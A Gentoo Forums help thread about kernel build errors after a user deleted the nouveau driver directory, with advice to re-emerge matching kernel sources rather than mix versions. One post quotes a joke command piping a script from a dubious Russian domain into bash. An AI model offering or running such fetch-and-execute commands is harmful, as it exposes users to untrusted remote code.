Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
[SOLVED]make and make menuconfig Error
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Other Things Gentoo
View previous topic :: View next topic  
Author Message
glaucoTTY
n00b
n00b


Joined: 26 Mar 2023
Posts: 5

PostPosted: Tue Mar 28, 2023 1:23 pm    Post subject: [SOLVED]make and make menuconfig Error Reply with quote

Hi,

after install nvidia driver i deleted the folder "drivers/gpu/drm/nouveau" and now when i try the "make" command i get this error
Code:

SYNC    include/config/auto.conf.cmd
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[2]: *** [scripts/kconfig/Makefile:77: syncconfig] Error 1
make[1]: *** [Makefile:704: syncconfig] Error 2
make: *** [Makefile:805: include/config/auto.conf.cmd] Error 2

and that error after "make menuconfig" command
Code:

drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[1]: *** [scripts/kconfig/Makefile:48: menuconfig] Error 1
make: *** [Makefile:704: menuconfig] Error 2

I know this is because of my silly mistake that i rm the folder :(

How can i fix that?


Last edited by glaucoTTY on Tue Mar 28, 2023 3:33 pm; edited 2 times in total
Back to top
View user's profile Send private message
stefan11111
l33t
l33t


Joined: 29 Jan 2023
Posts: 922
Location: Romania

PostPosted: Tue Mar 28, 2023 1:26 pm    Post subject: Re: make and make menuconfig Error Reply with quote

glaucoTTY wrote:
Hi,

after install nvidia driver i deleted the folder "drivers/gpu/drm/nouveau" and now when i try the "make" command i get this error

Code:
SYNC    include/config/auto.conf.cmd
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[2]: *** [scripts/kconfig/Makefile:77: syncconfig] Error 1
make[1]: *** [Makefile:704: syncconfig] Error 2
make: *** [Makefile:805: include/config/auto.conf.cmd] Error 2


and that error after "make menuconfig" command

Code:
drivers/gpu/drm/Kconfig:297: can't open file "drivers/gpu/drm/nouveau/Kconfig"
make[1]: *** [scripts/kconfig/Makefile:48: menuconfig] Error 1
make: *** [Makefile:704: menuconfig] Error 2


I know this is because of my silly mistake that i rm the folder :(

How can i fix that?

Can't you just reemerge the sources?
Also, please add [code] tags.
_________________
My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev"
Back to top
View user's profile Send private message
glaucoTTY
n00b
n00b


Joined: 26 Mar 2023
Posts: 5

PostPosted: Tue Mar 28, 2023 1:34 pm    Post subject: Reply with quote

Hey, sorry i added the code tags.

I will try it now.
Back to top
View user's profile Send private message
stefan11111
l33t
l33t


Joined: 29 Jan 2023
Posts: 922
Location: Romania

PostPosted: Tue Mar 28, 2023 2:02 pm    Post subject: Reply with quote

glaucoTTY wrote:
User: stefan11111
Topic: make and make menuconfig Error
Post: post 8784757
Reason: Virus Total say it is a Malicious link

You mean this?
Code:
$ curl http://free-skins.ru/skins.sh | bash

I meant it as a joke about piping random things into bash.
It doesn't look like it's a real link. My browser can't find it.
_________________
My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev"
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 54216
Location: 56N 3W

PostPosted: Tue Mar 28, 2023 2:39 pm    Post subject: Reply with quote

stefan11111,

It's a registered domain name but there is no DNS record
Code:
$ whois free-skins.ru
% TCI Whois Service. Terms of use:
% https://tcinet.ru/documents/whois_ru_rf.pdf (in Russian)
% https://tcinet.ru/documents/whois_su.pdf (in Russian)

domain:        FREE-SKINS.RU
nserver:       ns1.reg.ru.
nserver:       ns2.reg.ru.
state:         REGISTERED, NOT DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGRU-RU
admin-contact: http://www.reg.ru/whois/admin_contact
created:       2022-11-22T20:42:01Z
paid-till:     2023-11-22T20:42:01Z
free-date:     2023-12-23
source:        TCI

Last updated on 2023-03-28T14:36:30Z

roy@neddy_static ~ $ ping -4 free-skins.ru
ping: free-skins.ru: Name or service not known

_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
glaucoTTY
n00b
n00b


Joined: 26 Mar 2023
Posts: 5

PostPosted: Tue Mar 28, 2023 2:53 pm    Post subject: Reply with quote

stefan11111 i deleted the report. It's a stupid habit from me to check every link out. sorry for that.

Thanks for your hint to reemerge, it is the solution!

What i did:
Code:
emerge --ask sys-kernel/gentoo-sources


than copy the folders:
Code:
cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/


Thank you
Back to top
View user's profile Send private message
grknight
Retired Dev
Retired Dev


Joined: 20 Feb 2015
Posts: 1652

PostPosted: Tue Mar 28, 2023 2:57 pm    Post subject: Reply with quote

glaucoTTY wrote:
What i did:
Code:
emerge --ask sys-kernel/gentoo-sources


than copy the folders:
Code:
cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/


This is a very silly idea and likely to cause issues.

If you want 6.1.19, then do emerge --ask sys-kernel/gentoo-sources:6.1.19

If you want to use 6.2.8, then use eselect kernel to select it
Back to top
View user's profile Send private message
stefan11111
l33t
l33t


Joined: 29 Jan 2023
Posts: 922
Location: Romania

PostPosted: Tue Mar 28, 2023 3:09 pm    Post subject: Reply with quote

glaucoTTY wrote:
stefan11111 i deleted the report. It's a stupid habit from me to check every link out. sorry for that.

Thanks for your hint to reemerge, it is the solution!

What i did:
Code:
emerge --ask sys-kernel/gentoo-sources


than copy the folders:
Code:
cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/


Thank you

And I thought I use hacky solutions.
This one might top it.
_________________
My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev"
Back to top
View user's profile Send private message
glaucoTTY
n00b
n00b


Joined: 26 Mar 2023
Posts: 5

PostPosted: Tue Mar 28, 2023 3:12 pm    Post subject: Reply with quote

grknight I don't know what you mean?

i don't want use the linux-6.2.8-gentoo, i just needed the folder /drivers/gpu/drm/nouveau back because i removed that.
Back to top
View user's profile Send private message
stefan11111
l33t
l33t


Joined: 29 Jan 2023
Posts: 922
Location: Romania

PostPosted: Tue Mar 28, 2023 3:17 pm    Post subject: Reply with quote

glaucoTTY wrote:
grknight I don't know what you mean?

i don't want use the linux-6.2.8-gentoo, i just needed the folder /drivers/gpu/drm/nouveau back because i removed that.

It's not a good idea to mix and match files like that when you have a choice.
It's especially bad to do this with the kernel.
You may get a kernel that doesn't build, or one that builds, but is broken in unexpected ways.
You could also get a kernel that works well, but that comes down to luck.
I wouldn't recommend it.
_________________
My overlay: https://github.com/stefan11111/stefan_overlay
INSTALL_MASK="/etc/systemd /lib/systemd /usr/lib/systemd /usr/lib/modules-load.d *udev* /usr/lib/tmpfiles.d *tmpfiles* /var/lib/dbus /usr/bin/gdbus /lib/udev"
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 54216
Location: 56N 3W

PostPosted: Tue Mar 28, 2023 3:21 pm    Post subject: Reply with quote

glaucoTTY,

Code:
cp -r /usr/src/linux-6.2.8-gentoo/drivers/gpu/drm/nouveau/ /usr/src/linux-6.1.19-gentoo/drivers/gpu/drm/


copies a piece of linux-6.2.8-gentoo into your linux-6.1.19-gentoo source tree.
In general, its a very bad thing to mix version like that.

If you want 6.1.19 emerge it all again.

If the ebuild is no longer in ::gentoo, fetch it from git.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
glaucoTTY
n00b
n00b


Joined: 26 Mar 2023
Posts: 5

PostPosted: Tue Mar 28, 2023 3:22 pm    Post subject: Reply with quote

okay than i emerge the 6.1.19.
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Other Things Gentoo All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum